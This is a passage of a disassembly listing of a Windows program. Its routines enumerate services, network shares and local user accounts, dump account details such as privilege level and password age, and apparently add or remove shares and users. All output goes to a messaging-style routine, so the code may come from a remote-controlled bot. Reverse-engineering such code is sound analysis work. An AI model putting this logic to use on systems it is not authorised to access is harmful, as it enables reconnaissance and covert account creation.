loc_418E18 ; DATA XREF: sub_418D2A+D2r dd offset loc_418E1F ; jump table for switch statement dd offset loc_418E34 dd offset loc_418E3B dd offset loc_418E03 dd offset loc_418E11 dd offset loc_418E26 dd offset loc_418E2D dd offset loc_418E0A dd offset loc_418E55 byte_418E96 db 0, 9, 1, 2 ; DATA XREF: sub_418D2A+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418EA8(int,char *Str,int) sub_418EA8 proc near ; CODE XREF: sub_401ACD+44D6p var_38C = dword ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h Dest = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CB9C8 ; OpenSCManagerA push ebx ; int mov [ebp+var_C], eax push [ebp+arg_8] ; int push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 14h loc_418EE0: ; CODE XREF: sub_418EA8+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CB994 ; EnumServicesStatusA test eax, eax jnz short loc_418F1A call ds:dword_427094 ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_418FCE loc_418F1A: ; CODE XREF: sub_418EA8+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418FC5 lea esi, [ebp+var_188] loc_418F2B: ; CODE XREF: sub_418EA8+117j mov eax, [esi+8] dec eax jz short loc_418F74 dec eax jz short loc_418F6D dec eax jz short loc_418F66 dec eax jz short loc_418F5F dec eax jz short loc_418F58 dec eax jz short loc_418F51 dec eax jz short loc_418F4A push offset aUnknown_0 ; " Unknown" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F4A: ; CODE XREF: sub_418EA8+99j push offset aPaused ; " Paused" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F51: ; CODE XREF: sub_418EA8+96j push offset aPausing ; " Pausing" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F58: ; CODE XREF: sub_418EA8+93j push offset aContinuing ; " Continuing" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F5F: ; CODE XREF: sub_418EA8+90j push offset aRunning ; " Running" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F66: ; CODE XREF: sub_418EA8+8Dj push offset aStoping ; " Stoping" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F6D: ; CODE XREF: sub_418EA8+8Aj push offset aStarting ; " Starting" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F74: ; CODE XREF: sub_418EA8+87j push offset aStopped ; " Stopped" loc_418F79: ; CODE XREF: sub_418EA8+A0j ; sub_418EA8+A7j ... lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+Dest] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS_2 ; "%s: %s (%s)" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+var_38C] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_418F2B loc_418FC5: ; CODE XREF: sub_418EA8+77j cmp [ebp+var_8], ebx jnz loc_418EE0 loc_418FCE: ; CODE XREF: sub_418EA8+6Cj push [ebp+var_C] call dword_4CB8CC ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_418EA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418FE5(int,char *Str,int) sub_418FE5 proc near ; CODE XREF: sub_401ACD:loc_406064p arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+Str] test edi, edi jz loc_41907F mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_41900E dec eax jnz short loc_41905F push edi push 0 call sub_4191B8 pop ecx pop ecx jmp short loc_41905B ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418FE5+18j cmp [ebp+arg_8], 0 jnz short loc_41904D push 24h ; Val push edi ; Str call _strchr pop ecx test eax, eax pop ecx jnz short loc_41904D push 57h pop eax loc_419025: ; CODE XREF: sub_418FE5+78j push eax call sub_4199AC pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset byte_4DB63C push off_439518[eax*4] push offset asc_439BC4 ; "-" push esi ; Dest call _sprintf add esp, 14h jmp short loc_41909F ; --------------------------------------------------------------------------- loc_41904D: ; CODE XREF: sub_418FE5+2Dj ; sub_418FE5+3Bj push [ebp+arg_8] ; int push edi ; Str push 0 ; int call sub_41910C add esp, 0Ch loc_41905B: ; CODE XREF: sub_418FE5+27j test eax, eax jnz short loc_419025 loc_41905F: ; CODE XREF: sub_418FE5+1Bj lea eax, [esi+esi*2] push edi mov esi, offset byte_4DB63C push off_43951C[eax*4] push offset asc_439BA8 ; "-" push esi ; Dest call _sprintf add esp, 10h jmp short loc_41909F ; --------------------------------------------------------------------------- loc_41907F: ; CODE XREF: sub_418FE5+Aj mov eax, [ebp+arg_0] mov esi, offset byte_4DB63C lea eax, [eax+eax*2] push off_439518[eax*4] push offset asc_439B84 ; "-" push esi ; Dest call _sprintf add esp, 0Ch loc_41909F: ; CODE XREF: sub_418FE5+66j ; sub_418FE5+98j mov eax, esi pop edi pop esi pop ebp retn sub_418FE5 endp ; =============== S U B R O U T I N E ======================================= sub_4190A5 proc near ; CODE XREF: sub_41A3C6+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_4190B2 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4190B2: ; CODE XREF: sub_4190A5+7j push ebx push ebp push edi push esi push esi push esi mov edi, ds:dword_427188 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test byte_4DB83C, 1 mov ebp, eax jnz short loc_4190EF or byte_4DB83C, 1 lea eax, [ebp+1] push eax ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) pop ecx mov dword_4DB5DC, eax loc_4190EF: ; CODE XREF: sub_4190A5+32j push esi push esi push ebp push dword_4DB5DC push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, dword_4DB5DC pop edi pop ebp pop ebx pop esi retn sub_4190A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41910C(int,char *Str,int) sub_41910C proc near ; CODE XREF: sub_418FE5+6Ep ; sub_41A6EA+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_419177 push [ebp+Str] mov edi, eax call sub_419177 push 24h ; Val mov [ebp+var_20], eax push [ebp+Str] ; Str call _strchr push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_419177 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CB8C8 pop edi leave retn sub_41910C endp ; =============== S U B R O U T I N E ======================================= sub_419177 proc near ; CODE XREF: sub_41910C+Ap ; sub_41910C+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_419184 pop ebp retn ; --------------------------------------------------------------------------- loc_419184: ; CODE XREF: sub_419177+9j push ebx push esi mov esi, ds:dword_4270E8 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_419177 endp ; =============== S U B R O U T I N E ======================================= sub_4191B8 proc near ; CODE XREF: sub_418FE5+20p ; sub_41A3C6+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419177 push [esp+8+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx push 0 push eax push esi call dword_4CB8A0 pop esi retn sub_4191B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4191DB(int,char *Str,int,int) sub_4191DB proc near ; CODE XREF: sub_401ACD+45AEp Dest = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_419177 xor esi, esi mov [ebp+var_C], eax push esi ; int mov [ebp+arg_C], esi push [ebp+arg_8] ; int mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 18h loc_419214: ; CODE XREF: sub_4191DB+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CB918 mov ebx, eax cmp ebx, esi jz short loc_419277 cmp ebx, 0EAh jz short loc_419277 push ebx push ebx call sub_4199AC pop ecx push eax lea eax, [ebp+Dest] push offset asc_439C10 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 24h jmp short loc_4192E4 ; --------------------------------------------------------------------------- loc_419277: ; CODE XREF: sub_4191DB+5Dj ; sub_4191DB+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_4192DB mov eax, [ebp+var_4] lea esi, [eax+14h] loc_419285: ; CODE XREF: sub_4191DB+FCj push dword ptr [esi+10h] call dword_4CB8BC ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_41929C mov eax, offset aNo ; "No" loc_41929C: ; CODE XREF: sub_4191DB+BAj push eax lea eax, [ebp+Dest] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_419285 xor esi, esi loc_4192DB: ; CODE XREF: sub_4191DB+A2j push [ebp+var_4] call dword_4CBA64 loc_4192E4: ; CODE XREF: sub_4191DB+9Aj cmp ebx, 0EAh jz loc_419214 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_4191DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4192FC(int,int,int,int,char *Str,int) sub_4192FC proc near ; CODE XREF: sub_401ACD:loc_4060EDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h Str = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_4193A1 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_41933E dec eax jz short loc_419333 dec eax jnz short loc_419359 push [ebp+arg_14] ; int push [ebp+Str] ; Str push [ebp+arg_C] ; int push ebx ; int push edi ; int call sub_419443 add esp, 14h jmp short loc_419355 ; --------------------------------------------------------------------------- loc_419333: ; CODE XREF: sub_4192FC+1Dj push ebx push edi call sub_419422 pop ecx pop ecx jmp short loc_419355 ; --------------------------------------------------------------------------- loc_41933E: ; CODE XREF: sub_4192FC+1Aj cmp [ebp+arg_8], edi jz short loc_419352 push [ebp+arg_8] push ebx push edi call sub_4193C8 add esp, 0Ch jmp short loc_419355 ; --------------------------------------------------------------------------- loc_419352: ; CODE XREF: sub_4192FC+45j push 57h pop eax loc_419355: ; CODE XREF: sub_4192FC+35j ; sub_4192FC+40j ... cmp eax, edi jnz short loc_419379 loc_419359: ; CODE XREF: sub_4192FC+20j lea eax, [esi+esi*2] push ebx mov esi, offset byte_4DB840 push off_43951C[eax*4] push offset asc_439CC8 ; "-" push esi ; Dest call _sprintf add esp, 10h jmp short loc_4193C1 ; --------------------------------------------------------------------------- loc_419379: ; CODE XREF: sub_4192FC+5Bj push eax call sub_4199AC pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset byte_4DB840 push off_439518[eax*4] push offset asc_439C98 ; "-" push esi ; Dest call _sprintf add esp, 14h jmp short loc_4193C1 ; --------------------------------------------------------------------------- loc_4193A1: ; CODE XREF: sub_4192FC+Dj mov eax, [ebp+arg_0] mov esi, offset byte_4DB840 lea eax, [eax+eax*2] push off_439518[eax*4] push offset asc_439C70 ; "-" push esi ; Dest call _sprintf add esp, 0Ch loc_4193C1: ; CODE XREF: sub_4192FC+7Bj ; sub_4192FC+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_4192FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193C8 proc near ; CODE XREF: sub_4192FC+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov edi, eax call sub_419177 push [ebp+arg_8] mov [ebp+var_24], eax call sub_419177 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CB8AC pop edi leave retn sub_4193C8 endp ; =============== S U B R O U T I N E ======================================= sub_419422 proc near ; CODE XREF: sub_4192FC+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419177 push [esp+8+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx push eax push esi call dword_4CB89C pop esi retn sub_419422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419443(int,int,int,char *Str,int) sub_419443 proc near ; CODE XREF: sub_4192FC+2Dp Dest = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Str = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CBA2C test eax, eax mov [ebp+arg_0], eax jnz loc_4197EB mov eax, [ebp+var_4] test eax, eax jz loc_419826 push ebx push edi push dword ptr [eax] lea eax, [ebp+Dest] push offset aAccountS ; "Account: %S" push eax ; Dest call _sprintf mov esi, [ebp+arg_10] mov edi, [ebp+Str] mov ebx, [ebp+arg_8] push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+Dest] push offset aFullNameS ; "Full Name: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+Dest] push offset aUserCommentS ; "User Comment: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+Dest] push offset aCommentS ; "Comment: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409869 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419562 dec eax jz short loc_41955B dec eax jz short loc_419554 mov eax, offset aUnknown ; "Unknown" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_419554: ; CODE XREF: sub_419443+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_41955B: ; CODE XREF: sub_419443+105j mov eax, offset aUser_3 ; "User" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_419562: ; CODE XREF: sub_419443+102j mov eax, offset aGuest ; "Guest" loc_419567: ; CODE XREF: sub_419443+10Fj ; sub_419443+116j ... push eax lea eax, [ebp+Dest] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+Dest] push offset aAuthFlagsD ; "Auth Flags: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+Dest] push offset aHomeDirectoryS ; "Home Directory: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+Dest] push offset aParametersS ; "Parameters: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+Dest] push offset aPasswordAgeD ; "Password Age: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+Dest] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+Dest] push offset aNumberOfLogins ; "Number of Logins: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+Dest] push offset aLastLogonD ; "Last Logon: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+Dest] push offset aLastLogoffD ; "Last Logoff: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+Dest] push offset aLogonServerS ; "Logon Server: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+Dest] push offset aWorkstationsS ; "Workstations: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+Dest] push offset aCountryCodeD ; "Country Code: %d" push eax ; Dest call _sprintf push 1 ; int push esi ; int lea eax, [ebp+Dest] push eax ; int push edi ; Str push ebx ; int call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+Dest] push offset aUserSLanguageD ; "User's Language: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+Dest] push offset aMax_StorageD ; "Max. Storage: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+Dest] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409869 add esp, 20h pop edi pop ebx jmp short loc_419817 ; --------------------------------------------------------------------------- loc_4197EB: ; CODE XREF: sub_419443+35j push eax lea eax, [ebp+Dest] push offset asc_439CE8 ; "-" push eax ; Dest call _sprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_10] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_8] ; int call sub_409869 add esp, 20h loc_419817: ; CODE XREF: sub_419443+3A6j cmp [ebp+var_4], 0 jz short loc_419826 push [ebp+var_4] call dword_4CBA64 loc_419826: ; CODE XREF: sub_419443+40j ; sub_419443+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_419443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41982C(int,char *Str,int,int) sub_41982C proc near ; CODE XREF: sub_401ACD+463Ap Dest = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_419177 push esi ; int mov [ebp+var_14], eax push [ebp+arg_8] ; int mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 18h loc_41986B: ; CODE XREF: sub_41982C+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CB934 cmp eax, esi mov [ebp+var_C], eax jz short loc_4198CC cmp eax, 0EAh jz short loc_4198CC push eax push eax call sub_4199AC pop ecx push eax lea eax, [ebp+Dest] push offset asc_439ED8 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 24h jmp short loc_419947 ; --------------------------------------------------------------------------- loc_4198CC: ; CODE XREF: sub_41982C+62j ; sub_41982C+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41995A xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_419947 loc_4198DE: ; CODE XREF: sub_41982C+EDj cmp edi, esi jz short loc_41991D push dword ptr [edi] lea eax, [ebp+Dest] push offset aS_4 ; " %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_4198DE jmp short loc_419947 ; --------------------------------------------------------------------------- loc_41991D: ; CODE XREF: sub_41982C+B4j lea eax, [ebp+Dest] push offset asc_439EA4 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 1Ch loc_419947: ; CODE XREF: sub_41982C+9Ej ; sub_41982C+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41995A push edi call dword_4CBA64 xor edi, edi mov [ebp+var_4], edi loc_41995A: ; CODE XREF: sub_41982C+A5j ; sub_41982C+120j cmp [ebp+var_C], 0EAh jz loc_41986B cmp edi, esi jz short loc_419972 push edi call dword_4CBA64 loc_419972: ; CODE XREF: sub_41982C+13Dj push [ebp+var_8] lea eax, [ebp+Dest] push offset aTotalUsersFoun ; "Total users found: %d." push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_41982C endp ; =============== S U B R O U T I N E ======================================= sub_4199AC proc near ; CODE XREF: sub_418FE5+41p ; sub_4191DB+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419A5E jz loc_419A57 cmp eax, 7Bh ja short loc_419A23 jz short loc_419A19 cmp eax, 5 jz short loc_419A0F cmp eax, 8 jz short loc_419A05 cmp eax, 32h jz short loc_4199FB cmp eax, 35h jz short loc_4199F1 cmp eax, 57h jnz loc_419AAD push offset aInvalidParamet ; "Invalid parameter." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_4199F1: ; CODE XREF: sub_4199AC+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_4199FB: ; CODE XREF: sub_4199AC+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A05: ; CODE XREF: sub_4199AC+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A0F: ; CODE XREF: sub_4199AC+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A19: ; CODE XREF: sub_4199AC+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A23: ; CODE XREF: sub_4199AC+1Aj sub eax, 7Ch jz short loc_419A50 sub eax, 7C8h jz short loc_419A49 dec eax jz short loc_419A3F dec eax jnz short loc_419AAD push offset aDuplicateShare ; "Duplicate share name." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A3F: ; CODE XREF: sub_4199AC+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A49: ; CODE XREF: sub_4199AC+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A50: ; CODE XREF: sub_4199AC+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A57: ; CODE XREF: sub_4199AC+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A5E: ; CODE XREF: sub_4199AC+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_419A97 jz short loc_419A90 sub eax, 8ADh jz short loc_419AC2 dec eax dec eax jz short loc_419A89 dec eax jz short loc_419A82 dec eax dec eax jnz short loc_419AAD push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A82: ; CODE XREF: sub_4199AC+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A89: ; CODE XREF: sub_4199AC+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A90: ; CODE XREF: sub_4199AC+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A97: ; CODE XREF: sub_4199AC+B9j sub eax, 8CAh jz short loc_419AC9 sub eax, 17h jz short loc_419AC2 sub eax, 25h jz short loc_419ABB sub eax, 29h jz short loc_419AB4 loc_419AAD: ; CODE XREF: sub_4199AC+35j ; 